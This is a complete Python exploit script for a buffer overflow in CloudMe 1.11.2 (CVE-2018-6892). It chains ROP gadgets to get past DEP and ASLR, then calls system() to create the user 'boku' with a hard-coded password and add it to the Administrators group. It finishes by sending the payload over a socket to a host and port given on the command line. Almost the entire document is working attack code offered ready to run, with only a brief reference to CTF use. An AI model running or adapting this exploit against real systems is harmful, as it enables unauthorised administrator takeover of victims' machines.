319 lines
No EOL
15 KiB
Python
Executable file
319 lines
No EOL
15 KiB
Python
Executable file
# Exploit Title: CloudMe 1.11.2 - Buffer Overflow ROP (DEP,ASLR)
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# Exploit Author: Bobby Cooke (boku)
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# CVE: CVE-2018-6892
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# Date: 2020-09-29
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# Vendor Homepage: https://www.cloudme.com/
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# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
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# Version: 1.11.2
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# Tested On: Windows 10 (x64) - 10.0.19041 Build 19041
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# Script: Python 2.7
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# Notes:
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# This exploit uses MSVCRT.System to create a new user (boku:0v3R9000!) and add the new user to the
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# Administrators group. A requirement of successful exploitation is the CloudMe.exe process must be
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# running as adminstrator, such as when ran with 'Run as Administrator'; as this permission is required
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# to create new users on the system. This exploit has been tested against multiple Windows 10 systems
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# including x86, x64, Pro, Education, Home; although there is no guarantee it will work in your CTF.
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# CloudMe 1.11.2 - Turing Complete Add-Admin ROP (DEP,ASLR)
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import os,sys,socket,struct
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from colorama import Fore, Back, Style
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F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
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B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]
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S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
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ok = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0]
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err = S[3]+F[2]+'<========'+F[2]+'['+F[5]+'+++'+F[2]+'( '+F[0]+S[0]
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def formatMsg(STRING):
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return ok+S[3]+F[5]+STRING+S[0]
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def formatErr(STRING):
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return err+S[3]+F[2]+STRING+S[0]
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# Base | Top | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Modulename
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# -------------------------------------------------------------------------------------------------------
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# 0x69900000 | 0x69ac1000 | False | False | False | False | False | [Qt5Network.dll]
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# 0x6eb40000 | 0x6eb64000 | False | False | False | False | False | [libgcc_s_dw2-1.dll]
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# 0x68a80000 | 0x69055000 | False | False | False | False | False | [Qt5Core.dll]
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# 0x00400000 | 0x00831000 | False | False | False | False | False | [CloudMe.exe]
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# 0x6d9c0000 | 0x6da0c000 | False | False | False | False | False | [Qt5Sql.dll]
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# 0x64b40000 | 0x64b5b000 | False | False | False | False | False | [libwinpthread-1.dll]
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# 0x66e00000 | 0x66e3d000 | False | False | False | False | False | [Qt5Xml.dll]
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def getESP_RC():
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GaDG3Tz = [
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# ESP -> EDI
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# Clobbers: BL # [EBX+5E5B10C4] must be writable # Requires ROPNOP
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# Address=68F79000 Size=0007A000 (499712.) Owner=Qt5Core 68A80000 Section=.eh_fram Type=Imag 01001002 Access=RWE CopyOnWr
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0x68bb4678, # POP EBX # RETN [Qt5Core.dll]
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0x0A9C8F3C, # EBX + 0x5E5B10C4 = 0x68F7A000 = Writeable Memory
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0x68d5e818, # PUSH ESP # OR BL,DL # INC DWORD PTR DS:[EBX+5E5B10C4] # POP EDI # RETN 0x04 [Qt5Core.dll]
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0x68D50537, # RETN - ROPNOP
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0x68D50537 # RETN - ROPNOP
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]
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print(formatMsg("Get ESP ROP Chain built!"))
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return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
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def msvcrt_rop_chain():
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GaDG3Tz = [
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# HMODULE LoadLibraryA( LPCSTR lpLibFileName);
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# $ ==> > CALL to LoadLibraryA
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# $+4 > FileName = "msvcrt.dll"
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# EAX = 0x512 = 1298
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFFFFFAEE, # NEG FFFFFAEE = 0x512
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0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
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# EDI + EAX = End of string "msvcrt.dll"
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0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll]
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# EAX = 0x01
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFFFFFFFF, # NEG FFFFFFfF = 0x01
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0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
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# EAX = 0x0
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0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]
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# ECX = 0x0
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0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
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# Terminate String "msvcrt.dll"
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0x68cee06d, # XOR ESI,ESI # RETN [Qt5Core.dll] (Clear ESI)
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0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)
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0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]
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# EAX = -0xA = 0xFFFFFFF6
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFFFFFFF6, # -0xA
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# ESI = Start of string "msvcrt.dll\x00"
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0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]
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# EAX = PTR LoadLibraryA (from CloudMe Import Table)
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# CloudMe Address=0081A168 Section=.idata Type=Import (Known) Name=KERNEL32.LoadLibraryA
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFF7E5E98, # NEG FF7E5E98 = 0081A168 = PTR Kernel32.LoadLibraryA
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0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
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# EAX = kernel32.LoadLibraryA
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0x699030c5, # mov eax,dword ptr ds:[eax] [Qt5Network.dll]
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# ESI = kernel32.LoadLibraryA # EAX = Addr string "msvcrt.dll\x00"
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0x68d50536, # XCHG EAX,ESI # RETN [Qt5Core.dll]
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# For PUSHAD we need: EDI=FarRETN # ESI=&LoadLibraryA # EAX=["msvcrt.dll"] # ECX=ROPNOP
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0x68d32800, # POP ECX # RETN [Qt5Core.dll]
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0x68D50537, # RETN - ROPNOP
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0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
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0x6990F972, # RETN 10 [Qt5Network.dll]
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0x68f7bc5e, # pushad # ret # [Qt5Core.dll]
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# EAX -> EBP = msvcrt.dll
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0x68cc462c # XCHG EAX,EBP # RETN [Qt5Core.dll]
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# EBP = msvcrt.dll
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]
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print(formatMsg("LoadLibraryA(LPSTR \"msvcrt.dll\") ROP Chain built!"))
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return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
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def GetProc_system_rop_chain():
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GaDG3Tz = [
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# FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName);
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# $ ==> > CALL to GetProcAddress # EDX (ROPNOP)
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# $+4 > hModule = [msvcrt] # ECX
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# $+8 > ProcNameOrOrdinal (system) # EAX
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# EAX = 0x4a2 = 1186
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFFFFFB5E, # NEG FFFFFB5E = 0x4A2
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0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
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# EDI + EAX = End of string "system"
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0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll]
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# EAX = 0x01
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFFFFFFFF, # NEG FFFFFFfF = 0x01
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0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
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# EAX = 0x0
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0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]
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# ECX = 0x0
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0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
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# Terminate String "system"
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0x68cee06d, # XOR ESI,ESI # RETN [Qt5Core.dll] (Clear ESI)
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0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)
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0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]
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# EAX = -0x6 = 0xFFFFFFFA
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFFFFFFFA, # -0x6
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# ESI = Start of string "system\x00"
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0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]
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0x68fcf58d, # DEC EBP # RETN [Qt5Core.dll](fix EBP for prev gadgets)
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# EAX = PTR GetProcAddr (from CloudMe Import Table)
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# CloudMe Address=0081A148 # Section=.idata # Type=Import # Name=KERNEL32.GetProcAddress
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFF7E5EB8, # NEG FF7E5EB8 = 0081A148 = PTR Kernel32.GetProcAddr
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0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
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0x699030c5, # mov eax,dword ptr ds:[eax] [Qt5Network.dll]
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0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]
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0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
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# ESI = &kernel32.GetProcAddr # ECX=["system\x00"]# EBP=msvcrt.dll
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# For PUSHAD we need: EDI=FarRETN # ESI=&GetProcAddress # ECX=msvcrt.dll # EAX=["system"]# EDX=ROPNOP
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# EBP -> EAX = msvcrt.dll
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0x68cc462c, # XCHG EAX,EBP # RETN [Qt5Core.dll]
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# ECX=&msvcrt.dll # EAX=["system\x00"]
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0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
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# EDX=ROPNOP
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0x68f94685, # POP EDX # RETN [Qt5Core.dll]
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0x68D50537, # RETN - ROPNOP
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# EDI=FarRETN
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0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
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0x699010B4, # ret 0C [Qt5Network.dll]
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# KERNEL32.GetProcAddress [ESI pushed to stack]
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# [EBP pushed to stack]
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# [ESP pushed to stack]
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# [EBX pushed to stack]
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# land after ret 0xC -> Qt5Core.68D50537 (ROPNOP) [EDX pushed to stack]
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# MSVCRT.75F60000 [ECX pushed to stack]
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# ASCII "system" [EAX pushed to stack]
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0X68f7bc5e, # pushad # ret # [Qt5Core.dll]
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0x68b1df17 # XCHG EAX,EDX # RETN # [Qt5Core.dll]
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# EDX = msvcrt.system
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]
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print(formatMsg("GetProcAddress(HMODULE msvcrt, LPCSTR system) ROP Chain built!"))
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return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
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def addUsr_rop_chain():
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GaDG3Tz = [
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# int system( const char *command);
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# $ ==> > CALL to system
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# $+4 > command = "net user boku 0v3R9000! /add"
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# EAX = 0x438 = 1080
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFFFFFBC8, # NEG 0xFFFFFBC8 = 0x438
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0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
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# EDI + EAX = End of string "net user..."
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0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll]
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# EAX = 0x01
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFFFFFFFF, # NEG FFFFFFfF = 0x01
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0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
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# EAX = 0x0
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0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]
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# ECX = 0x0
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0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
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# Terminate String "net user..."
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0x68cee06d, # XOR ESI,ESI # RETN [Qt5Core.dll] (Clear ESI)
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0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)
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0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]
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# EAX = -28 = -0x1C = 0xFFFFFFE4
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFFFFFFE4, # -28 = -0x1C
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# ESI = Start of string "net user...\x00"
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0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]
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# EDX = MSVCRT.system # ECX=0x0
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# For PUSHAD we need: EDI=FarRETN # ESI=MSVCRT.system # EAX=["net user.."] # ECX=POP+RET
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0x68d32800, # POP ECX # RETN [Qt5Core.dll]
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0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
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# ESI = MSVCRT.system # EAX = ["net user.."]
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0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]
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0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]
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# EDI=FarRETN
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0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
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0x6990F972, # RETN 10 [Qt5Network.dll]
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# PUSHAD - Setup Call to MSVCRT.system on stack
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0X68f7bc5e # pushad # ret # [Qt5Core.dll]
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]
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print(formatMsg("system(const char* \"net user boku 0v3R9000! /add\") ROP Chain built!"))
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return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
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def addAdm_rop_chain():
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GaDG3Tz = [
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# ESI = msvcrt.system
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# ESI -> EDX
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0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]
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0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]
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# EAX = 0x3F7
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFFFFFC09, # NEG 0xFFFFFC09 = 0x3F7
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0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
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# EDI + EAX = End of string "net local..."
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0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll]
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# EAX = 0x01
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFFFFFFFF, # NEG FFFFFFfF = 0x01
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0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
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# EAX = 0x0
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0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]
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# ECX = 0x0
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0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
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# Terminate String "net local..."
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0x68cee06d, # XOR ESI,ESI # RETN [Qt5Core.dll] (Clear ESI)
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0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)
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0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]
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# EAX = -39 = -0x27 = 0xFFFFFFE4
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0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
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0xFFFFFFD9, # -39 = -0x27
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# ESI = Start of string "net local...\x00"
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0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]
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# EDX = MSVCRT.system # ECX=0x0
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# For PUSHAD we need: EDI=FarRETN # ESI=MSVCRT.system # EAX=["net local.."] # ECX=ROPNOP
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0x68d32800, # POP ECX # RETN [Qt5Core.dll]
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0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
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# ESI = MSVCRT.system # EAX = ["net local.."]
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0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]
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0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]
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# EDI=FarRETN
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0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
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0x6990F972, # RETN 10 [Qt5Network.dll]
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# PUSHAD - Setup Call to MSVCRT.system on stack
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0X68f7bc5e # pushad # ret # [Qt5Core.dll]
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]
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print(formatMsg("system(const char* \"net localgroup Administrators boku /add\") ROP Chain built!"))
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return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
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def sendRecv(s,p):
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print(formatMsg("Sending payload: "))
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print(S[3]+F[7]+payload+S[0])
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s.send(p)
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data = s.recv(1024)
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return data
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def header():
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head = S[3]+F[2]+' --- Cloudme v1.12 | Add Admin (boku:0v3R9000!) ---\n'+S[0]
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return head
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def sig():
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SIG = S[3]+F[4]+" .-----.._ ,--.\n"
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SIG += F[4]+" | .. > ___ | | .--.\n"
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SIG += F[4]+" | |.' ,'-'"+F[2]+"* *"+F[4]+"'-. |/ /__ __\n"
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SIG += F[4]+" | </ "+F[2]+"* * *"+F[4]+" \ / \\/ \\\n"
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SIG += F[4]+" | |> ) "+F[2]+" * *"+F[4]+" / \\ \\\n"
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SIG += F[4]+" |____..- '-.._..-'_|\\___|._..\\___\\\n"
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SIG += F[4]+" _______"+F[2]+"github.com/boku7"+F[4]+"_____\n"+S[0]
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return SIG
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def footer():
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foot = formatMsg('Requires that the Cloudme program is ran using \'Run As Administrator\'\n')
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return foot
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if __name__ == "__main__":
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print(header())
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print(sig())
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print(footer())
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if len(sys.argv) != 3:
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print(formatErr("Usage: python %s <IP> <PORT>" % sys.argv[0]))
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print(formaterr("Example: python %s '127.0.0.1' 8888" % sys.argv[0]))
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sys.exit(-1)
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host = sys.argv[1]
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port = int(sys.argv[2])
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rop_chain = getESP_RC() + msvcrt_rop_chain() + getESP_RC() + GetProc_system_rop_chain() + getESP_RC() + addUsr_rop_chain() + getESP_RC() + addAdm_rop_chain()
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os_EIP = '\41'*1052
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os_nSEH = '\x41'*(2344-len(os_EIP + rop_chain))
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nSEH = '\x42'*4
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SEH = '\x43'*4
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buff = os_EIP + rop_chain + os_nSEH + nSEH + SEH
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term = '\r\n'
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kern32 = 'msvcrt.dll'+'AAAAAA'
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winExe = 'system'+'BBBBBB'
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addUsr = 'net user boku 0v3R9000! /add'+'CCCC'
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addAdm = 'net localgroup Administrators boku /add'+'DDDD'
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rmdr = '\x44'*(3854-len(buff)-len(kern32)-len(winExe)-len(addAdm))
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payload = buff + kern32 + winExe + addUsr + addAdm + rmdr + term
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try:
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sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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sock.connect((host,port))
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print(formatMsg( "Successfully connected to "+host+" on port "+str(port)))
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|
resp = sendRecv(sock,payload)
|
|
print(formatMsg("Closing Socket"))
|
|
sock.close()
|
|
print(formatErr("Exiting python script."))
|
|
except:
|
|
print(formatErr("Failed to connect and send payload.")) |